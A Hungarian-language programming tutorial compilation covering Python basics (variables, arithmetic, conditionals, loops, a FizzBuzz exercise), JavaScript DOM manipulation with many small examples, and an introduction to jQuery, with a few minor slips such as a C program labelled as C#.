Ismétlés és összefoglalás

A Python (mint minden más programnyelv) szigorú nyelvtani szabályokkal bír, ezt szintaxisnak hívjuk. Ha a program szintaktikailag hibás, akkor az nem futhat le, mert a számítógép által nem értelmezhető.

"Case sensitive"

A Python érzékeny a kis- és nagybetűkre, ezért mindig oda kell figyelni, hogy mit milyen betűvel kell írni.

Kódsorok

A Pythonban minden utasítás külön sorba kerül. Az utasítások végére nem kell pontosvessző, mert a sortörés egyértelműen megmutatja, hol van vége az utasításnak. Emiatt viszont nem lehetséges több utasítást egy sorba tenni, de ez inkább csak elősegíti a kód olvashatóságát.

Olvashatóság

A kódot olvashatóan kell írni, hiszen alapvető tapasztalat, hogy míg a programot csak egyszer gépeled be, sokkal többször olvasod/olvassák. A javítótanár is könnyebben dolgozik, te is könnyebben tudod javítani a hibáidat és a közös projektmunkákhoz is nélkülözhetetlen.

Egyszerű adatok kiírása

Az első fejezetben már megismerkedhettél a print fügvénnyel, ebben a fejezetben viszont kivesézzük minden funkcióját. A print függvény kiírja azt, amit megkap paraméternek és új sort kezd. A paraméter bármi lehet, ahogy azt az alábbi példa mutatja:

# szövegek (sztringek)

print("Hello World!")

print("árvíztűrő tükörfúrógép") # ékezetekkel

# számok

print(36)

print(6.9742) # törtek

print(6e23) # normál alakban

Amennyiben több paramétert adunk meg a print függvénynek, akkor az összeset kiírja egymás után, szóközzel elválasztva. A paraméterek típusa egymástól független, bármi lehet. A kiírás végére ebben ez esetben is kerül sortörés.

print("A nevem", "Kovács", "Béla")

print("életkorom:",33,"testmagasságom:", 183.7, "cm")

A változók olyan szimbólumok, amelyekkel egy konkrét adatra utalsz. Rendelkezik egy névvel (amivel hivatkozni tudsz rá) és egy értékkel. Így a változók mint adattárolásra alkalmas eszközök állnak rendelkezésedre. A program futása közben értékük megváltozhat.

Változók létrehozása, értékadása

Sok programozási nyelvvel ellentétben nem kell a változókat használat előtt deklarálni, egyszerűen csak egy értékadással hozhatod létre őket. Az értékadás az = (egyenlőségjel) operátorral történik.

valtozonev = "ertek"

a = 5

b = 3

# Több értékadás egy sorban vesszők segítségével.

# A sorrend számít!

alfa, beta, gamma = 90, 6.8721, "árvíztűrő tükörfúrógép"

A változók elnevezése

A változóknak bármilyen nevet adhatsz (leszámítva a Python saját kulcsszavait), akár még ékezeteset is! A jobb átláthatóság miatt viszont érdemes néhány formai szabályt betartani:

NE tartalmazzon ékezetes karaktereket

legyen kisbetűs

utaljon a változó funkciójára

legyen tömör, de érthető

A változók használata

Egy változó használata mindig legyen indokolt és logikus. Egy változónak csak egy funkciója legyen, máskülönben zavaros lesz tőle a program. Változók mennyiségére nincsen korlát, ezért nyugodtan használj változót ott, ahol az szükséges.

Változók kiértékelése, kiírása

A változók értékét úgy "olvashatod ki", hogy egyszerűen a változónevet írod le. Például a Print függvény paraméterének megadod egy változó nevét.

kor, nev = 55, "Árpád"

print(nev, kor, "éves.") # a változóneveknél nincs idézőjel!!!

A Python gyenge típusossága

A változók bármilyen típusú adatot tárolhatnak. Ezenfelül gond nélkül kaphat már létező változó más típusú értéket, mint amit eddig tartalmazott. Ezt a tulajdonságát gyenge típusosságnak nevezzük.

szam = 8 # itt számértéket kapott

print("A szám:", szam)

szam = "nyolc" # itt sztring értéket kapott

print("Betűvel leírva:", szam)

A Pythonban a számokat különböző módokon lehet leírni. Ezeket a számokat kiírathatjuk a print függvény segítségével, műveleteket végezhetünk velük illetve változókba írhatjuk őket.

Egész számok

#ugyanúgy mint papíron

4312

0

#negatív számok is ugyanígy

-2

-5234

Tizedes törtek

#a tizedes vessző helyett szigorúan PONT

3.141592

0.0000001

-8.5

-0.25

Normál alak

Lehetőség van a számokat normálalakban leírni. Ennek formája az, hogy először a mantissza következik (a számjegyek), utána az e betű, majd a karakterisztika (a nagyságrend).

6e23 #hatszor tíz a huszonharmadikon

6E23 #nagy E betű is helyes

-6e-23 #a mantissza és a karakterisztika is lehet negatív szám

6.67e-11 # a mantissza természetesen tört is lehet

Műveletek számokkal

Alapműveletek

Ahogyan már említettem, ugyanolyan matematikai műveletek elvégezhetőek Pythonban, amiket egy számológépnek is tudnia kell.

5 + 3 #összeadás

6.9 - 23 #kivonás

624.12 * -8 #szorzás

9 / 2 #osztás

2 ** 4 #hatványozás

#a műveleti jelek egybeírhatók a számokkal, csak az olvashatóság miatt van külön

Maradékos osztás

Sok programnyelvben ha két egész számot osztunk el, az eredmény tizedes jegyei le lesznek vágva. Ez a Python 2-es verziójában is így volt, viszont mi a 3-masat használjuk, amiben nem kell erre külön figyelni. Van mód viszont a maradékos osztásra is.

7 / 2 #osztás, értéke: 3.5

7 // 2 #maradékos osztás hányadosa, értéke: 3

7 % 2 #maradékos osztás maradéka, értéke: 1

Műveleti sorrend, zárójelek

A műveleti sorrend megegyezik a matematika szabályaival, ezen felül ugyanúgy használhatunk zárójeleket is.

Műveletek változókkal

Ha egy változó értéke egy szám, ugyanúgy bánhatunk vele, mint egy számmal. A műveletek eredményeit pedig betölthetjük a változókba, vagy kiírathatjuk őket. Nézzünk meg néhány példát.

print(6+5*2) #kiírja: 16

a,b = 9,-3

print(a/b) #kiírja: -3

c = a+b+0.0123

print(c) #kiírja: 6.0123 

Feltételes elágazás

A feltételes elágazásban egy feltétel igaz vagy hamis volta határozza meg, hogy a benne lévő kódrészlet lefusson.

if

s = 4

if(s == 4):

    print("s változó értéke négy")

    print("ez nem sok, de pont ennyi kell")

print(":)")

A kódot végrehajtva látható, hogy megtörténik a két kiírás, azonban ha s értékét megváltoztatjuk, már csak a második megy végbe. Általánosítsuk ezt az alakot:

if(feltétel):

    #igaz ág

    #...

#ez a rész már a feltételen kívül van

Ha a feltétel igaz, akkor az igaz ág utasításai végre lesznek hajtva. Az igaz ág addig tart, amíg beljebb vannak tagolva a kódsorok. A beljebbtagolás lehet szóközzel vagy tabulátorral, de több sor esetén mindig ugyanúgy legyenek a sorok tagolva! Figyeljünk a kettőspontra is!

Mindig tagoljunk 4 szóközzel, ugyanis ennyi pont átláthatóvá teszi a kódot, a tabulátor szélessége pedig máshol más lehet. Az IDLE szerkesztő a TAB lenyomására szóközöket ír, így nem kell a space-t nyomkodni.

else

Opcionálisan megadhatunk egy hamis ágat is - ez akkor fut le, ha a feltétel hamis. Általános alakja:

if(feltétel):

    #igaz ág

    #...

else:

    #hamis ág

    #...

elif

Ha a hamis ágban újabb feltételt szeretnénk, akkor az elif kulcsszó teszi ezt lehetővé.

if(feltétel):

    #igaz ág

    #...

elif(feltétel):

    #első feltétel hamis, második igaz

    #...

Az if után bármennyi elif következhet, és a végén egy else is:

if(feltétel):

    #igaz ág

    #...

elif(feltétel):

    #első feltétel hamis, második igaz

    #...

elif(feltétel):

    #első két feltétel hamis, harmadik igaz

    #...

else:

    #egyik feltétel sem igaz

    #...

A bool típus

A fenti pédában lehetett látni a == jelet. Ez jelenti az egyenlőség letesztelését - de valójában ez is egy olyan művelet, mint az összeadás vagy bármely eddigi: el lehet végezni, van eredménye is. Egy összehasonlítás eredménye vagy igaz, vagy hamis. A Pythonban van erre is egy típus, a bool. Két értéke van:

True #igaz

False #hamis

if(True):

    #mindig lefut, mert mindig igaz

if(False):

    #sosem fut le, mert mindig hamis

Összehasonlító műveletek

Az összehasonlító műveletek kapnak két értéket, és egy bool értéket vesznek fel (igaz vagy hamis) az adott összehasonlításnak megfelelően. Nézzük sorra őket:

a == b #egynelő

a != b #nem egyenlő

a < b #kisebb

a <= b #kisebb vagy egyenlő

a > b #nagyobb

a >= b #nagyobb vagy egyenlő

Logikai műveletek

Összetett logikai kifejezéshez kell logikai műveleteket használni, melyek a boole-algebra műveletei. Ezek az alábbiak:

a and b #igaz, ha a és b is igaz

a or b #igaz, ha a vagy b (akár mindkettő) igaz

not a #igaz, ha a hamis

Ezeket a műveleteket zárójelezni is lehet.

A while ciklus

Ha egy kódrészletet többször kell egymás után végrehajtani, akkor ciklus használata szükséges. A while ciklus hasonló a feltételhez, viszont az igaz ág után újrakezdődik a ciklus.

while(feltétel):

    #ciklusmag

    #...

A ciklusmag mindaddig végrehajtódik, amíg a feltétel igaz. Minden végrehajtás után újra ellenőrzésre kerül a feltétel.

Példák feltételekre és ciklusokra

#a zárójel nem kötelező, de szebb ha van

a = 9

if a==9:

    print("a értéke 9")

# számolj el tízig!

x = 1

while(x <= 10):

    print(x)

    x += 1

#az öttel nem osztható számok 100-ig

#a feltételek és ciklusok egymásba ágyazhatóak

a = 1

while(a <= 100):

    if(a%5 != 0): #öttel nem osztható == öttel való osztási maradéka nem nulla

        print(a)

    a += 1

Nehéz feladat

Írj egy programot, ami 1-től 51-ig kiírja a számokat, a következő szabálynak megfelelően:

ha a szám osztható 3-mal, akkor a szám helyett az legyen kiírva, hogy fizz

ha a szám osztható 5-tel, akkor a szám helyett az legyen kiírva, hogy buzz

ha a szám 3-mal és 5-tel is osztható, akkor a szám helyett az legyen kiírva, hogy fizzbuzz

(alapesetben csak maga a szám legyen kiírva)

Megoldás

for fizzbuzz in range(51):

    if fizzbuzz % 3 == 0 and fizzbuzz % 5 == 0:

        print("fizzbuzz")    ;     continue

    elif fizzbuzz % 3 == 0:

        print("fizz")         ;continue

    elif fizzbuzz % 5 == 0:

        print("buzz")         ;continue

    print(fizzbuzz)

Algoritmus 

Struktogram

Folyamatábra

Ugyan ez C-Sharpban

#include <stdio.h>

 

int main(void) {

    for (int szam = 1; szam <= 20; szam = szam+1)

        if (szam % 3 == 0 && szam % 5 == 0)

            printf("fizzbuzz\n");

        else

            if (szam % 3 == 0)

                printf("fizz\n");

            else

                if (szam % 5 == 0)

                    printf("buzz\n");

                else

                    printf("%d\n", szam);

 

    return 0;

}

https://infoc.eet.bme.hu/ea03/#3

Dokumentum Objektum Modell

A Dokumentum Objektum Modell (Document Object Model / DOM) egy platform- és nyelvfüggetlen standard objektummodell amely a HTML, XHTML, XML, valamint rokon formátumaiknak a szerkezetét és az objektumaikkal történő interakciókat modellezi.[1] A DOM egymással gyerek-szülő kapcsolatban álló objektumok rendszere. A dokumentum tartalmát, illetve a dokumentum valamennyi összetevőjét magában foglalja. A beépített objektumok kezelése böngészőnként eltérő lehet, továbbá plusz tulajdonságok is lehetnek különböző böngészők esetén. Mivel a DOM mindkét irányú navigációt támogatja (szülő és az előző testvér felé is) és lehetővé teszi a változtatást tetszőleges helyen, az implementációban pufferelni kell a beolvasott dokumentumot (vagy annak értelmezett részét). Ebből következik, hogy a DOM leginkább olyan alkalmazások kezelésére alkalmas, ahol ismételt és nem szekvenciális sorrendű hozzáférés történik a dokumentumhoz. Amennyiben egy alkalmazás szigorúan szekvenciális és egyszer futó, a SAX modell valószínűleg gyorsabb és kevesebb memóriát használ. A webböngészők rendszerint a DOM-hoz hasonló belső modellt használnak a dokumentumok (például egy HTML oldal) megjelenítéséhez. A DOM API-kat weboldalak, illetve egyes részeik JavaScript kódból történő vizsgálására, vagy módosítására is használják. Más szóval, a Dokumentum Objektum Modell az a mód, ahogyan a JavaScript látja a webböngésző állapotait és az általa megjelenített HTML oldalt.

Amikor egy böngésző megjelenít egy HTML oldalt, akkor legelőször betölti az oldalt a web-szerverről, majd értelmezi a jelöléseit (pl. HTML) és létrehozza a modellt a memóriában tárolt DOM formájában.

Minden dokumentum csomópontjai fa struktúrába vannak szervezve, ezt hívjuk DOM fának. A legfelső csomópont a DOM fában a Dokumentum (Document) objektum. Minden csomópont tetszőleges számú - nulla, vagy több - gyerekkel rendelkezhet.

Alább látható egy példa egy DOM fa felépítésére:

 |-> Dokumentum (Document)

   |-> Elem (Element) (pl. <html>)

     |-> Elem (Element) (pl. <body>)

       |-> Elem (Element) (pl. <div>)

         |-> szöveges tartalom

         |-> Horgony (Anchor)

           |-> szöveges tartalom

       |-> Űrlap (Form)

            |-> Szövegdoboz (Text-box)

            |-> Szövegmező (Text Area)

            |-> Rádió gomb (Radio Button)

            |-> Jelölőnégyzet (Check Box)

            |-> Select

            |-> Gomb

Tehát egy platform- és nyelvfüggetlen interfész, amely lehetővé teszi a programok és szkriptek számára, hogy dinamikusan elérjék és módosítsák adott dokumentumok tartalmát, struktúráját és kinézetét.

A DOM modell ábrázolt dokumentumszerkezet egy fastruktúrát eredményez.

<section>

  <article>

    <p><i></i></p>

    <p></p>

  </article>

</section>

A JavaScript kiváló eszköz DOM elemeinek elérésére. A most következő leírás, ezt hivatott bemutatni. Ha valamely bemutató-minta nem működik az oldalon, akkor töltsd újra a weboldalt (Ctrl+R). Lesz néhány olyan elem is amely csak Firefoxban működik.

<!DOCTYPE html>

<html lang="hu">

    <head>

        <meta charset="utf-8">

<title></title>

    </head>

    <body>

<h1>Teszt</h1>

<p></p>

        <script src="script.js"></script>

    </body>

</html>

A DOM elérése

getElementById()

getElementsByClassName()

getElementsByTagName()

getElementsByName()

querySelector()

querySelectorAll()

getElementById

<p id="egy"></p>

var a = document.getElementById('egy');

a.innerHTML = 'működik';

getElementsByClassName

<p class="egy"></p>

var a = document.getElementsByClassName('egy');

a[0].innerHTML = 'működik';

getElementsByTagName

<p><p>

var a = document.getElementsByTagName('p');

a[0].innerHTML = 'működik';

getElementsByName

<input type="text" name="szam1">

var a = document.getElementsByName('szam1');

a[0].value = 'működik';

querySelector()

A querySelector() és a querySelectorAll() függvények újak a JavaScriptben. Régebbi böngészőkben nem működhetnek.

<p id="egy"></p>

var a = document.querySelector('#egy');

a.innerHTML = 'működik';

<p class="egy"></p>

var a = document.querySelector('.egy');

a.innerHTML = 'működik';

Ha több ilyen osztály is van akkor az elsőt választja ki.

Egy elem kiválasztása

    <p>a</p>

    <p>b</p>

    <p>c</p>

var a = document.querySelector('p');

a.innerHTML = 'működik';

Csak az első p elem tartalmát írja át.

Szülő gyermek jelölése

A querySelector() függvény igazi haszna a szülő-gyermek viszony jelölési lehetőség, ami kevesebb jelölő használatához vezet a HTML kódban.

    <div id="egy">

        <p>a</p>

    </div>

    <div id="ketto">

        <p>b</p>

    </div>

var a = document.querySelector('#ketto p');

a.innerHTML = 'működik';

querySelectorAll()

Egy tömböt ad vissza. Osztályok és elemek kiválasztásához.

<p class="egy"></p>

<p class="egy"></p>

<p class="egy"></p>

var a = document.querySelectorAll('.egy');

a[0].innerHTML = 'működik';

Kombinált megoldás

<form id="reg">

    <input type="text" name="e-mail">

    <input type="text" name="telefon">

    <input type="text" name="szuletes">

</form>

 

<button id="mehetGomb">Mehet</button>

var mehetGomb = document.querySelector('#mehetGomb');

var regAdatok = document.querySelector('#reg').querySelectorAll('input');

 

mehetGomb.addEventListener('click', function(){

    regAdatok.forEach(function(element){

        console.log(element.value);

    });

});

Egyszerűbben:

var mehetGomb = document.querySelector('#mehetGomb');

var regAdatok = document.querySelectorAll('#reg input');

 

mehetGomb.addEventListener('click', function(){

    regAdatok.forEach(function(element){

        console.log(element.value);

    });

});

Azonosító közvetlen elérése

A HTML lapon létrehozott azonosítók, elérhetők JavaScriptből csak a nevük alapján.

<div id="egy"></div>

egy.innerHTML = 'működik';

Stílus változtatása

A CSS tulajdonság JavaScriptben

A JavaScript tulajdonságnevekben nem szerepelhetnek kötőjelek. Azért ha van egy olyan tulajdonság mint a

background-color

akkor azt így írjuk:

backgroundColor

Egy tulajdonság nevében az első kezdőbetű mindig kicsi, a szókezdő betűk pedig nagyok.

Példa a tulajdonságok megadására

let div = document.getElementById("elso");

 

div.style.backgroundColor="#00f";

div.style.width="200px";

div.style.color="#fff";

div.style.height="100px";

div.style.paddingLeft="50px";

div.style.paddingTop="50px";

div.style.fontFamily="Verdana";

div.style.fontSize="2em";

div.style.border="3px dashed #ff0";

div.style.position="absolute";

div.style.left="200px";

div.style.top="100px";

div.style.textDecoration="underline";

div.style.backgroundImage = "url('ujkep.jpg')";

div.style.backgroundImage ="url(images/"+kepnev+")"; //Ha a kepnev egy változó

div.style.backgroundRepeat = "no-repeat";

div.style.background.size = "200px 300px";

Tulajdonság elérése

A CSS tulajdonságokat a style mezőn keresztül érjük el.

Adott egy ilyen div:

<div id="egy">

Szöveg.

</div>

Szeretnénk megváltoztatni a div#egy elem stílusát. Ezt a következő kóddal tehetjük meg:

function removeElement() {

document.getElementById("egy").style.display="none";

}

Esetünkben a display tulajdonságot állítjuk none értékre.

A következő példában a nyomgómra kattintva elrejtjük a Szöveg kezdetű bekezdést, a display tulajdonság, none értékre állításával.

Szöveg

Rejt

Doboz háttérszíne

this.style.backgroundColor='red';

  position:relative; 

  width: 100px; 

  height: 100px; 

  left:50px; 

  top: 50px; 

  background-color:blue;

Szöveg

Div háttérszíne újra

A példában kattintásra meg akarom változtatni a div tartalmának háttérszínét:

<div onclick="this.style.backgroundColor='red';">

Szöveg

</div>

Szöveg

Dátum beszúrása divbe

<p id="az"></p>

 

<script type="text/javascript">

document.getElementById("az").innerHTML=Date();

</script>

Sat May 29 2021 05:46:36 GMT+0200 (közép-európai nyári idő)

Tartalom cseréje

Az alábbi példában egy elem tartalmát változtatjuk meg.

<p onclick="this.innerHTML='Új szöveg';">Kattintásra változó szöveg</p>

Kattintásra változó szöveg

Lehet más elem tartalmát is:

document.getElementById("az").innerHTML="Új szöveg";

Kattintásra másik szöveg változik

Másik elem tartalma

Egér az elem felett

A példában ha a div dobozra viszem az egeret, annak színe kékre vált. Ha az egeret lehúzom róla, akkor pirosra.

<div 

onMouseOut="this.style.backgroundColor='red';"

onMOuseOver="this.style.backgroundColor='blue';"

>

Szöveg

</div>

Szöveg

Villogó szöveg

Nézd Firefoxban!

var str = "Szöveg";

document.write(str.blink());

Szöveg

Elem tulajdonságok (attribútum)

Elem tulajdonságának értéke

Egy attribútum értékének kinyerése:

<a href="http://szit.hu" id="test">link</a>

<div onClick="

let m = document.getElementById('test').getAttribute('href');

alert(m);

">

Link céljának lekérése

</div>

link

Link céljának lekérése

Ha Kattintunk a „Link címének lekérése” szövegre az egy sorral feljebb lévő link célját kapjuk egy párbeszédablakban.

Elem Tulajdonság alapján CSS tulajdonság állítása

Egy osztály alapján állítok be egy tulajdonságot.

<script type="text/javascript">

 

function csinal()

{

var p = document.getElementsByTagName("p");

for (var i=0; i<p.length; i++)

        if(p[i].getAttribute('class') == 'elso')

        p[i].style.backgroundColor="red";

}

</script>

<p class="elso" onclick="csinal()">

aaaaa

</p>

Attribútum értékének változtatása

function mutat(kepaz) {

document.getElementById("imgnezo").src=kepaz;

}

<div id="kep1" onclick="mutat('kep001.jpg')"><img src="kep001.jpg"></div>

<div id="kep2" onclick="mutat('kep002.jpg')"><img src="kep002.jpg"></div>

<div id="kep3" onclick="mutat('kep003.jpg')"><img src="kep003.jpg"></div>

<div id="kep4" onclick="mutat('kep004.jpg')"><img src="kep004.jpg"></div>

<div id="kep5" onclick="mutat('kep005.jpg')"><img src="kep005.jpg"></div>

<div id="nezo"><img id="imgnezo" src=""></div>

Stílusok kinyerése

Stílus lekérdezése

Így csak az inline beállított stílusokat tudjuk lekérdezni:

function leker() {

var cim = document.getElementById("cim1");

alert(cim.style.backgroundColor);

 

}

Az internal és external stílusok értékeinek lekérdezése:

function leker() {

    var cim = document.getElementById("cim1");

    var t = document.defaultView.getComputedStyle(cim, "")

    alert(t.backgroundColor);

}

Stílus lekérdezés és tárolás

<div id="kep1" onclick="mutat('kep1')"></div>

<div id="kep2" onclick="mutat('kep2')"></div>

<div id="kep3" onclick="mutat('kep3')"></div>

<div id="kep4" onclick="mutat('kep4')"></div>

<div id="kep5" onclick="mutat('kep5')"></div>

<div id="nezo"></div>

function mutat(kepaz) {

let katkep = document.getElementById(kepaz);

let katkepstilus = document.defaultView.getComputedStyle(katkep, "");

let kepnezo = document.getElementById("nezo");

kepnezo.style.backgroundImage = katkepstilus.backgroundImage;

kepnezo.style.backgroundSize = "210px 210px";

}

Képcsere

<img src="w3javascript1.png" alt="" 

onmouseover="this.src='kep001.png';"

onmouseout="this.src='kep002.png';"

>

Függvény paraméter

function valt(az) {

    az.style.backgroundColor="red";

}

<div onclick="valt(this)">

Tartalom

</div>

Amikor paraméterként a „this” szót állítom be, akkor a „this” azt az objektumot jelenti, amely az eseményt kiváltotta. Esetünkben a „Tartalom” szöveget tartalmazó „div” elem. Fentebb a javascript kódban paraméterként már „az”-ként hivatkozok erre az objektumra.

Stíluslap cseréje

Valahol egy HTML oldal fejlécében:

  <link rel="stylesheet" href="kek.css" id="ss" />

JavaScript kód amely lecseréli:

document.getElementById('ss').href = 'piros.css';

Osztályműveletek

Osztály cseréje:

function csere() {

document.getElementById("szoveg"). setAttribute("class", "animator");

}

Ha nem volt osztály, akkor is jó.

Osztály hozzáadása:

function beallit() {

document.getElementById("szoveg"). className = "animator";

}

Új osztály hozzáadása a meglévő osztály megtartásával:

function ad() {

document.getElementById("szoveg"). className += "animator";

}

Az eredmény ilyen lesz:

<div id="szoveg" class="eredeti_osztaly animator">text</div>

Esemény azonosító alapján

<button id="minButton">Mehet</button>

Névtelen függvénnyel:

document.getElementById("minButton").onclick = function(){

alert("Működik");

};

Nevesített függvénnyel:

document.getElementById("minButton").onclick = minButtonClick;

 

function minButtonClick(){

alert("Működik");

};

Változóként:

let minButtonClick = function(){

alert("Működik");

};

document.getElementById("minButton").onclick = minButtonClick;

A függvényváltozó legyen előbb mint ahol meghívjuk.

Eseményt kiváltó egérgomb

Szintaxis

event.button=0|1|2

Használat

function gomb(esemeny) {

if(esemeny.button == 0)

    alert("Első");

else

    alert("Más gomb");

}

Azonosítók

0 bal egérgomb

1 középső egérgomb

2 jobb egérgomb

IE böngészőben „logikusan”:

1 bal egérgomb

4 középső egérgomb

2 jobb egérgomb

Billentyűzet figyelése

Billentyűzet

window.onload = function() {

    document.addEventListener('keydown', function(event) {

            alert('Egy billentyűt lenyomtak.');

    }, false);

}

Billentyűkód kiírása

function ez(e) {

if(e.which)

alert(e.which);

}

<form>

<input type="text" onkeydown="ez(event)" />

</form>

Egér után billentyű

var lastDownTarget;

var canvas;

window.onload = function() {

    vaszon = document.getElementById('vaszon');

 

    document.addEventListener('mousedown', function(event) {

        lastDownTarget = event.target;

        alert('Egér lenyomva.');

    }, false);

 

    document.addEventListener('keydown', function(event) {

        if(lastDownTarget == vaszon) {

            alert('Billentyűzet lenyomva.');

        }

    }, false);

}

Lista bejárása

<ul id="lista">

<li>alma</li>

<li>körte</li>

<li>barack</li>

<li>szilva</li>

</ul>

let lista = document.getElementById('lista');

let elemCsomok = [];

 

for (let i = 0; i < lista.childNodes.length; i++) {

    if(lista.childNodes[i].nodeName == "LI") {

        elemCsomok.push(lista.childNodes[i]);

        console.log(lista.childNodes[i]);

    }

}

Az Enter billentyű figyelése

let todoObj = document.getElementById('todo');

gomb.onclick = function() {

    console.log('Ez történik kattintásra');

};

 

todoObj.onkeydown = function(key) {

    if(key.which==13) {

            console.log('Ez történik Enter billentyűre');

    }

}

...

    <label for="todo"></label>

    <input type="text" id="todo">

...

Dokumentum módosítása

<div class="uzenet">

Üzenet

</div>

let div = document.createElement('div');

div.className = "uzenet";

div.innerHTML = "Üzenet";

Hozzáfűzés:

let div = document.createElement('div');

div.className = "uzenet";

div.innerHTML = "Üzenet";

 

document.body.append(div);

Előtte, utána

<ul id="lista">

<li>alma</li>

<li>körte</li>

<li>barack</li>

<li>szilva</li>

</ul>

let lista = document.getElementById('lista');

lista.before('előtte');

lista.after('utána');

Elem listához

let lista = document.getElementById('lista');

lista.before('előtte');

lista.after('utána');

let lista = document.getElementById('lista');

lista.before('előtte');

lista.after('utána');

 

let elem = document.createElement('li');

elem.innerHTML = 'banán';

lista.append(elem);

Elem listához újra

<!DOCTYPE html>

<html lang="hu">

    <head>

        <meta charset="utf-8">

        <title></title>

    </head>

    <body>

        <h1>Lista bejárása</h1>

 

        <input type='text' id='elem'>

        <button id="adGomb">Hozzáad</button>

 

        <ul id="lista">

        </ul>

 

 

    <script src="script.js" charset="utf-8"></script>

    </body>

</html>

let adGomb = document.getElementById('adGomb');

let lista = document.getElementById('lista');

adGomb.onclick = function() {

    let elemObj = document.getElementById('elem');

    let elem = elemObj.value;

 

    let liElem = document.createElement('li');

    liElem.appendChild(document.createTextNode(elem));

    lista.appendChild(liElem);

}

Függelék

Betöltődés figyelése

window.onload = function () {

   //Az oldal betöltödése után fut le

};

Képnézegető képcseréje

A this paraméter

let kep1 = document.getElementById('kep1');

let kep2 = document.getElementById('kep2');

let kep3 = document.getElementById('kep3');

let kep4 = document.getElementById('kep4');

let kep5 = document.getElementById('kep5');

let kep6 = document.getElementById('kep6');

 

kep1.style.backgroundImage = 'url(images/kep01.png)';

kep2.style.backgroundImage = 'url(images/kep02.png)';

kep3.style.backgroundImage = 'url(images/kep03.png)';

kep4.style.backgroundImage = 'url(images/kep04.png)';

kep5.style.backgroundImage = 'url(images/kep05.png)';

kep6.style.backgroundImage = 'url(images/kep05.png)';

 

kep1.onclick = function() { setImage(this); }

kep2.onclick = function() { setImage(this); }

kep3.onclick = function() { setImage(this); }

kep4.onclick = function() { setImage(this); }

kep5.onclick = function() { setImage(this); }

 

var setImage = function(kep) {    

    kep6.style.backgroundImage = kep.style.backgroundImage;

}

A this paraméter újra

let kep1 = document.getElementById('kep1');

 

kep1.style.backgroundImage = 'url(images/kep01.png)';

 

kep1.addEventListener('click', function() { setImage(this); })

 

var setImage = function(kep) {    

    kep1.style.backgroundImage = kep.style.backgroundImage;

}

Ciklusokkal képek

let kepazo = ['kep1', 'kep2', 'kep3', 'kep4', 'kep5'];

let kepnevek = ['kep01.png', 'kep02.png', 'kep03.png',

    'kep04.png', 'kep05.png'];

let kepek = [];

 

for (let i=0; i<kepazo.length; i++) {

    kepek.push(document.getElementById(kepazo[i]));

}

 

for (let i=0; i<kepek.length; i++) {

    kepek[i].style.backgroundImage = 'url(images/' + 

        kepnevek[i] + ')';

}

 

for (let i=0; i<kepek.length; i++) {

    kepek[i].addEventListener('click', function() { 

        setImage(this); 

    });

}

 

var setImage = function(kep) {    

    kep6.style.backgroundImage = kep.style.backgroundImage;

}

JQuery JavaScript keretrendszer

Mi az a jQuery?

A jQuery nem más, mint egy gyors és tömör JavaScript nyelvű függvénykönyvtár, ami előre megírt függvényeket tartalmaz. A hagyományos programozási nyelvektől eltérően “csak” értelmez, nem pedig végrehajt. A jQuery megpróbálja leegyszerűsíteni a bonyolultabb dolgokat a JavaScript-ből, (például az AJAX-hívások, DOM-manipulációk), így sokkal könnyebben, és gyorsabban használhatjuk azt a weboldalon.

Mire használjuk?

DOM manipuláció – Lehetővé teszi a DOM elemeinek kiválasztását, tartalmának módosítását, manipulálását.

Eseménykezelés – Lehetőségünk van kattintás, görgetés, vagy egérmozgás alapú események létrehozására.

AJAX Támogatás – Az AJAX a szerverrel való adatcserét szolgálja, segítségével frissítheted a weboldal egyes részeit anélkül, hogy újra töltenéd az egész oldalt.

Animációk, effektek – Számos beépített animációs hatással rendelkezik, amelyeket egyszerű függvényekkel hívhatsz meg.

A Dokumentum Objektum Modell (DOM)

A DOM egy objektummodell, amire a HTML és az XML is épül. A modell egymással szülő-gyerek kapcsolatban álló objektumok rendszere, melyek segítségével módosíthatjuk a HTML dokumentumok elemeit, vagy a böngésző eseményeit. A DOM nem az a HTML, amit kézzel írsz, és nem is a weboldal forráskódja, hanem konkrétan az, amit a böngésző DevTools részében látsz. Ezt lehet manipulálni, nem magát az oldal forráskódját.

jQuery betöltése a weboldalba

betöltés saját tárhelyről – A jQuery könyvtárat letöltheted a tárhelyedre, és beillesztheted a HTML kódba.

betöltés külső tárhelyről – A jQuery könyvtárat közvetlenül a code.jquery.com-ról, vagy a Google-ről is betöltheted.

Az elmélet az, hogy a jQuery gyorsabban töltődik be, ha külső tárhelyről töltjük, mert valószínűleg az már eleve tárolva van a böngészőnkben (Cache).

A függvénykönyvtárat mindkét esetben két helyre tudjuk beszúrni a HTML fájlunkban: a <head> részbe és a </body> elé. A kódot mindig a </body> elé érdemes beszúrni, hogy az a HTML kód után töltődjön le. Ha a jQuery kódot a <head> részbe rakod, akkor az az előtt fog lefutni, mielőtt létre jönne maga a HTML dokumentum, így mivel a JS kód lefutásakor a HTML fizikailag még nem létezik, módosítani/hozzáférni sem lehet.

Ha betöltöttük a weboldalba a JS könyvtárat, akkor közvetlenül utána hívjuk be a saját JS fájlunkat, amibe írjuk a weboldalra vonatkozó módosításainkat, nevezzük mondjuk custom.js-nek.

A $() szelektor

A jQuery szelektorok a dollárjelzéssel és zárójelekkel kezdődnek – $(). Ezen belül háromféle mód létezik a HTML dokumentum elemeinek kiválasztására:

Címke neve  – A DOM-ban elérhető címke nevét képviseli. Például $(‘p’),  $(‘div’), $(‘li’), amellyel kiválaszthatod az összes ilyen elemet a HTML dokumentumban.

Azonosító (id) – A megadott azonosítóval is elérhetőek a címkét. Például $(‘#lablec’), amellyel kiválaszthatod az egyedi elemet a HTML dokumentumban.

Osztály (class) – Az adott osztályhoz tartozó címke. Például $(‘.service’) a dokumentumban szereplő összes olyan elemet választja ki, amely ilyen osztályú.

+1 Változó – A 3 közül bármelyik megadható előzőleg meghatározott változóval is. $(valtozonev)

A fenti elemek önmagukban, vagy más szelektorokkal kombinálva is használhatók. Például: $(‘#main .service ul li’)

Hogyan hívhatunk meg jQuery függvényeket?

Az oldal nem manipulálható zökkenőmentesen, amíg a HTML dokumentum “nem áll készen“. Erre van is egy függvény a $( document ).ready(function() {…}); Ezen belül elhelyezett kód csak akkor fog futni, ha az oldal DOM-ja készen áll, ha már az összes HTML betöltődött.

[js]$(document).ready(function(){ alert( "A DOM betöltődött!" ); });[/js]

A  $( window ).on( “load”, function() {…}); belsejében szereplő kód pedig akkor fog futni, ha az egész oldal (képek, iframek is, nem csak a DOM) “készen áll “. Ezt csak indokolt estben használd, mert nagyon lassítja az oldalt.

[js]$(window).on("load", function(){ alert("minden betöltődött!"); });[/js]

